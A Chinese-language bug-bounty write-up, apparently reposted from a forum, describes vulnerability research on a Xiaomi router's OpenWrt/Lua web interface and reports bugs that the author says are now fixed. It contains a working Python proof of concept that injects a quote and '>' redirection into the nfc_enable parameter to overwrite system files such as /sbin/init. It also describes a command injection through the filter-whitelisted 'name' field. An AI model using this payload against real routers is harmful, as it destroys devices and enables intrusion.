前言
去年年中开始接触IOT设备的漏洞挖掘, 之后有几个聊胜于无的产出, 但没啥变现机会, 大概是去年的国庆前后, 一位学长告诉我某米SRC最近有活动, 可以多看看这家路由器
某米大概是国内少有的愿意给该类漏洞支付赏金并且出手大方的厂商了, 早在之前其实就有看过他家的设备, 不过当时只是为了复现漏洞, 没啥能力也没有想法深入挖挖
在学长提醒之后, 就开始了这次的漏洞挖掘, 某米的设备采用的是魔改的openwrt框架, 仅开放了少数几个未授权接口, 这几个接口在前些年爆出过危害性高的漏洞, 一波修复之后, 看不出来有什么问题, 再加上菜菜, 主要挖掘的方向还是挖掘难度耕地而且危害也不那么高的授权接口
好在运气还行, 找到了几个危害不大的水洞, 某米给钱大方加之活动加成(投递漏洞忘记参加活动了, 感谢开恩的技术小哥orz), 也算是小挣一笔, 距离漏洞提交已经过了大半年, 看了一下最新版本漏洞已经修复了, 跟大家分享一下漏洞挖掘的经验
关于固件
某米路由器的固件大多可以在MiWiFi – 下载找到, 不过不一定是最新版本
固件采用的是ubifs, 没有加密, 直接用ubireader + unsquashfs
就能解开
openwrt框架下cgi的主要逻辑在usr/lib/lua/luci/controller/
目录下, 此外还有一个某米自己常用的库在路径usr/lib/lua/xiaoqiang/
, 我们关注的主要也就是这两部分
直接打开其中的.lua文件发现是编译后luac文件, 且是魔改后的luac, 那么还需要对其进行反编译, 好在github上已经有许多工具了, NyaMisty/unluac_miwifi是其中很不错的一个
反编译的结果其实已经能够大致阅读了, 不过现在ai这么普遍, 可以再借助ai进一步还原反编译结果的可读性
直接结果
复制代码 隐藏代码functionL4()local L0, L1, L2, L3, L4, L5, L6, L7, L8, L9, L10, L11, L12, L13, L14, L15 L0 = require L1 = "xiaoqiang.common.XQFunction" L0 = L0(L1) L1 = require L2 = "luci.cbi.datatypes" L1 = L1(L2) L2 = {} L3 = 0 L4 = _UPVALUE0_ L4 = L4.formvalue L5 = "mac" L4 = L4(L5) L5 = _UPVALUE0_ L5 = L5.formvalue L6 = "wan" L5 = L5(L6) L5 = L5 or L5 L6 = _UPVALUE0_ L6 = L6.formvalue L7 = "lan" L6 = L6(L7) L6 = L6 or L6 L7 = _UPVALUE0_ L7 = L7.formvalue L8 = "admin" L7 = L7(L8) L7 = L7 or L7 L8 = _UPVALUE0_ L8 = L8.formvalue L9 = "pridisk" L8 = L8(L9) L8 = L8 or L8 L9 = _UPVALUE0_ L9 = L9.formvalue L10 = "name" L11 = nil L12 = "?commonstr" L9 = L9(L10, L11, L12) L9 = L9 or L9 L10 = _UPVALUE0_ L10 = L10.formvalue L11 = "option" L10 = L10(L11) L10 = L10 or L10 L11 = L0.isStrNil L12 = L4 L11 = L11(L12)ifnot L11 then L11 = L1.macaddr L12 = L4 L11 = L11(L12)if L11 then L11 = _setMacFilter L12 = L4 L13 = L9 L14 = L10 L15 = L5 L11 = L11(L12, L13, L14, L15) L3 = L11endelse L3 = 1508end L2.code = L3if L3 ~= 0then L11 = _UPVALUE1_ L11 = L11.getErrorMessage L12 = L3 L11 = L11(L12) L2.msg = L11end L11 = _UPVALUE0_ L11 = L11.write_json L12 = L2 L11(L12)endsetMacFilter = L4
ai恢复可读性
复制代码 隐藏代码-- 设置MAC过滤的函数functionsetMacFilter()-- 导入模块local XQFunction = require("xiaoqiang.common.XQFunction")local datatypes = require("luci.cbi.datatypes") -- 用于存储返回结果local result = {} -- 获取表单数据local mac = _UPVALUE0_.formvalue("mac")local wan = _UPVALUE0_.formvalue("wan") or""local lan = _UPVALUE0_.formvalue("lan") or""local admin = _UPVALUE0_.formvalue("admin") or""local pridisk = _UPVALUE0_.formvalue("pridisk") or""local name = _UPVALUE0_.formvalue("name", nil, "?commonstr") or""local option = _UPVALUE0_.formvalue("option") or""-- 初始化返回码local code = 0-- 检查MAC地址是否有效ifnot XQFunction.isStrNil(mac) thenif datatypes.macaddr(mac) then-- 设置MAC过滤并获取返回码 code = _setMacFilter(mac, name, option, wan)else code = 1508-- 无效MAC地址错误码endelse code = 1508-- MAC地址为空错误码end-- 设置返回结果 result.code = code -- 如果有错误,获取错误信息if code ~= 0then result.msg = _UPVALUE1_.getErrorMessage(code)end-- 输出JSON结果 _UPVALUE0_.write_json(result)end
效果外瑞古德
漏洞挖掘
对目标进行挖掘时, 有两篇文章给予了我莫大帮助
奇安信攻防社区-小米AX9000路由器CVE-2023-26315漏洞挖掘
Rooting Xiaomi WiFi Routers
winmt神的文章介绍的挖掘方向主要是通过lua层面的接口进入二进制层面进行漏洞挖掘
第二篇文章介绍了数个漏洞, 但主要参考其中针对早期miwifi设备并没有对n
过滤, 进行命令注入的部分
作为没啥经验的菜鸡, 不妨先顺着前辈的思路走, 看有无漏网之鱼
尝试一
winmt神的文章已经将分析过程写得非常详细
针对该类漏洞直接在获得的各个固件文件系统去找/sbin
目录下的plugincenter
, smartcontroller
, indexservice
等文件, 拖入到ida中交叉引用命令执行函数即可
一番搜索还真在Redmi_AC2100
中找到一个
在***2100
中当访问/api/xqdatacenter/request
且用户传入的api
数值为605
时
经由thrifttunnel
与datacener
处理后
最终请求会被交付给程序/usr/sbin/plugincenter
中的接口parseUninstallPluginApi
进行处理,其目的是进行插件卸载工作
进入datacenter::PluginApiBasic::uninstallPlugin
核心是PluginManager::uninstallPlugin
函数
在该流程中并没有用户输入进行足够的合法性验证,导致用户输入被直接拼接入命令中执行,从而导致命令注入
满心欢喜提交, 可惜内部已知
尝试二
经过第一次尝试, 发现rpc调用模式下漏洞存量并不多, 且偶有产出也大概率重复(挖的人着实不少)
那么不妨将目光转向lua层, lua层接口成百上千, 且调用了大量库内容, 可挖掘内容是二进制层面的好几倍
针对iot设备常见的漏洞挖掘方式, 主要有两种
-
从用户可控数据流出发, 追踪数据流流经的相关处理, 判断其中是否存在危险点 -
批量寻找危险点, 反向分析是否能够受用户控制
在如此多接口的情况下, 显然第二种方法会更优
观察一下, 发现cgi中用于执行系统命令的方法主要有三个
复制代码 隐藏代码xiaoqiang.common.XQFunction.forkExecos.executeluci.util.exec
不知道大佬有没有更好的办法, 反正我们菜鸡就是直接用文档编辑器逐个打开反编译出来的lua文件, 批量搜索这些方法的调用, 观察参数是否能够受用户控制, 也就是来自formvalue
就是这么简单粗暴, 没有一丝套路
这么在/usr/lib/lua/luci/controller/api
一通乱搜, 还真有所收获
在设备be*
中/usr/lib/lua/luci/controller/api/xqnetwork.lua
中有一个函数setNfcStatus
反编译后结果大致如下
复制代码 隐藏代码functionsetNfcStatus()local xqLog = require("xiaoqiang.XQLog")local uci = require("luci.model.uci").cursor()local nfcUtil = require("xiaoqiang.util.XQNfcUtil")local xqFunction = require("xiaoqiang.common.XQFunction")local nfc_enable = LuciHttp.formvalue("nfc_enable")local response = {} response.code = 0 uci:set("nfc", "nfc", "nfc_enable", nfc_enable) uci:commit("nfc")if nfc_enable == "0"then nfcUtil.nfc_disable()else nfcUtil.nfc_update()endlocal isMeshRe = xqFunction.isMeshRe()if isMeshRe then nfcUtil.nfc_mesh_sync_disable()elselocal isMeshCap = xqFunction.isMeshCap()if isMeshCap thenlocal randomID = xqFunction.GenRandID(8) uci:set("nfc", "nfc", "config_id", randomID)local syncData = {} syncData.cmd = "sync_nfc" syncData.nfc_enable = tostring(nfc_enable)local json = require("luci.json").encode(syncData) xqLog.log(6, "CAP call RE do action msg: " .. json) xqFunction.forkExec("/sbin/whc_to_re_common_api.sh action '" .. json .. "'")endend uci:commit("nfc") LuciHttp.write_json(response)endnfc_api = configureNFC
当满足isMeshRe==false
&&isMeshCap==true
,例如在NETMODE
为whc_cap
以及其他一些情况下
nfc_enable
由用户传入,经过json.encode
转化为json字符串
复制代码 隐藏代码{"cmd":"sync_nfc","nfc_enable":"{nfc_enable}"}
最终被拼接入命令并执行
复制代码 隐藏代码/sbin/whc_to_re_common_api.sh action '{"cmd":"sync_nfc","nfc_enable":"{nfc_enable}"}'
由于并没有检查nfc_enable
中的'
,所以用户可以传入单引号使得命令提前闭合
但是当尝试按照第二篇文章中提到的使用n
进行命令注入时, 却并没有成功, 那么大概率某米在上次漏洞之后, 应该是已经将n
加入了过滤字符中了
验证一下, 搜索formvalue
方法的定义, 找到其位于/usr/lib/lua/luci/http.lua
复制代码 隐藏代码functioncontext.request:formvalue(self, key, skipParsing)-- 如果未跳过解析且输入未解析,则解析输入ifnot skipParsing andnotself.parsed_input thenself:_parse_input()end-- 如果提供了键,则返回对应参数值,否则返回所有参数return key andself.message.params[key] orself.message.paramsendfunctionformvalue(key, defaultValue, validator)-- 从请求中获取表单值local value = context.request:formvalue(key, defaultValue)-- 如果提供了验证器,则进行验证if validator thenifnot _UPVALUE0_.verify(value, validator) then _UPVALUE1_.log(3, "verify false key:", key, " val:", value)returnnilendreturn valueelse-- 没有验证器时进行安全检查return _UPVALUE2_.hackCheck(key, value)endend
formvalue
会根据可能存在的第三个参数进行对应的校验, 例如commonstr, numberstr
之类的
在这个函数中, 并没有使用第三个参数, 那过滤显然在于hackcheck
函数中
hakcheck
位于/usr/lib/lua/xiaoqiang/common/XQFunction.lua
反编译后在该函数上方可以找到过滤字符集
复制代码 隐藏代码L14 = [=[[`;|$&]]=]
看起来没有n
, 但仅仅只是因为反编译过程中n
被转义了, 实际上是有的
那么现在确定了, n
作为分隔符进行命令注入已经行不通了, 难道最终只能功亏一篑
此时在setNfcStatus
中又注意到这么一部分代码
复制代码 隐藏代码local syncData = {} syncData.cmd = "sync_nfc" syncData.nfc_enable = tostring(nfc_enable)local json = require("luci.json").encode(syncData) xqLog.log(6, "CAP call RE do action msg: " .. json) xqFunction.forkExec("/sbin/whc_to_re_common_api.sh action '" .. json .. "'")
由formvalue
得到的nfc_enable
本身就是字符串, 但是却又调用了一次tostring
函数
那么tostring函数会不会存在对转义字符的处理呢, 因为formvalue
并没有对进行过滤, 如果nfc_enable
中包含x24
那么tostring
就会将其转义为$
等分割字符
是的确实可行, 但当我再次仿真环境, 进行测试时却依然失败了, 研究一下, 发现设备使用的lua是5.1.5
版本的, 这个版本的tostring
并没处理转义字符的能力
气!!接连得失败这次挖洞之旅就这么结束了么!!!!
既然命令注入没得法了, 但拒绝服务还是可以做到的
前面提到setNfcStatus
中执行命令时没有检查'
闭合, 在不能使用命令分割符的情况下, 还有一个特殊字符>
, 重定向符!!
提前闭合''
后, 插入>
符号, 将命令的输出重定向到任意指定路径, 覆盖可执行文件和脚本, 进行设备破坏
例如/usr/lib/lua/luci/dispatcher.lua
, /sbin/init
等
写个验证脚本
复制代码 隐藏代码import requestspath = "/usr/lib/lua/luci/dispatcher.lua"#path = "/sbin/init"token = "960426559944fb61fc96e9039853d36a"requests.get("http://192.168.0.8/cgi-bin/luci/;stok={}/api/xqnetwork/set_nfc_status?nfc_enable='>%20{}%20'".format(token,path))
攻击后结果
复制代码 隐藏代码$cat /usr/lib/lua/luci/dispatcher.lua{ "method": "common_set", "payload": "{ "action": "{\"cmd\":\"sync_nfc\",\"nfc_enable\":\"" }" }$cat /sbin/init{ "method": "common_set", "payload": "{ "action": "{\"cmd\":\"sync_nfc\",\"nfc_enable\":\"" }" }
这个漏洞只是在/usr/lib/lua/luci/controller/api
目录下扫到的, 还有大量的处理代码位于/usr/lib/lua/xiaoqiang
/usr/lib/lua/xiaoqiang
中同样按照上面的提到的由危险函数出发, 但麻烦一点, 还要判断有漏洞的函数是否会被/usr/lib/lua/luci/controller/api
中的接口调用
扫一遍, 又发现了数个类似的漏洞, 虽然这几个漏洞没啥实际应用意义, 但某米给出了0.5k-1k
的单个价格, 且活动期间*2.5
, 如果有还是还是挺爽的
尝试三
难道这么辛苦挖一番, 最后连个命令注入都捞不到吗!!!到也不一定
之前观察formvalue
时提到其会调用hackcheck
函数进行危险字符过滤
再观察这个函数
复制代码 隐藏代码-- 敏感字段安全检查函数functionhackCheck(fieldName, fieldValue)-- 如果字段名或字段值为空,直接返回原始值ifnot fieldName ornot fieldValue thenreturn fieldValueend-- 如果是敏感字段,不进行检查直接放行(可能由其他机制处理)if SENSITIVE_FIELDS[fieldName] thenreturn fieldValueend-- 检查字段值是否包含危险字符ifstring.find(fieldValue, DANGEROUS_CHARS) then _UPVALUE2_.log(3, "hackCheck match key:", fieldName, " val:", fieldValue)returnnil-- 包含危险字符,返回nil表示过滤该值end-- 不包含危险字符,返回原始值return fieldValueend
注意到
复制代码 隐藏代码-- 如果是敏感字段,不进行检查直接放行(可能由其他机制处理)if SENSITIVE_FIELDS[fieldName] thenreturn fieldValueend
也就是说hackcheck
的过滤是存在一个白名单的, 针对这个白名单中的值, 不进行过滤, 直接返回
向上查找, 找到白名单
复制代码 隐藏代码-- 定义需要进行安全检查的敏感字段local SENSITIVE_FIELDS = { name = true, password = true, password2g = true, password5g = true, password5g2 = true, pppoeName = true, pppoePwd = true, pwd = true, pwd1 = true, pwd2 = true, pwd3 = true, newPwd = true, service = true, ssid = true, ssid1 = true, ssid2 = true, ssid3 = true, ssid2g = true, ssid5g = true, ssid5g2 = true, username = true, apn = true, pdp = true, user = true, passwd = true, contact_phone = true, phoneList = true, msgtext = true, acs_username = true, acs_password = true, conn_username = true, conn_password = true}
也就是说formvalue
这些值时, 是不会有检查的, 那么现在要做的就是找找有没有通过formvalue
获得这些值, 之后又没有进一步检查的接口了
别说, 还真有!
在/lua/luci/controller/api/xqsystem.lua
中的setMacFilter
接口
观察setMacFilter
函数
当用户传入一个格式合法的mac地址时便会进入_setMacFilter
在进行检查mac地址数量是否超过限制与进行一些设置后又进入XQFirewall.setMacFilter
位于(/lua/xiaoqiang/module/XQFirewall.lua)
该函数会在已有的macfilters
中寻找即将处理的情况,只要避免两种不合理情况即会向下继续进行
-
增加重复 -
删去不存在
而这两种情况都能够通过自定义传入的值进行绕过
注意到name
刚好就是一个白名单中的属性, 且最后在没有充分的检查的情况下, 就直接拼接入命令中执行, 也就造成了一个命令注入
据说在之前命令注入的单价是4k, 活动时10k, 我交的时候, 没给这么高, 但也挺不错了
End
这篇文章分享一下某米路由器漏洞挖掘时的经验, 希望对有想尝试挖一挖某米路由器的小伙伴有所帮助{:301_998:}
原文始发于微信公众号(吾爱破解论坛):某米路由器漏洞挖掘分享
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论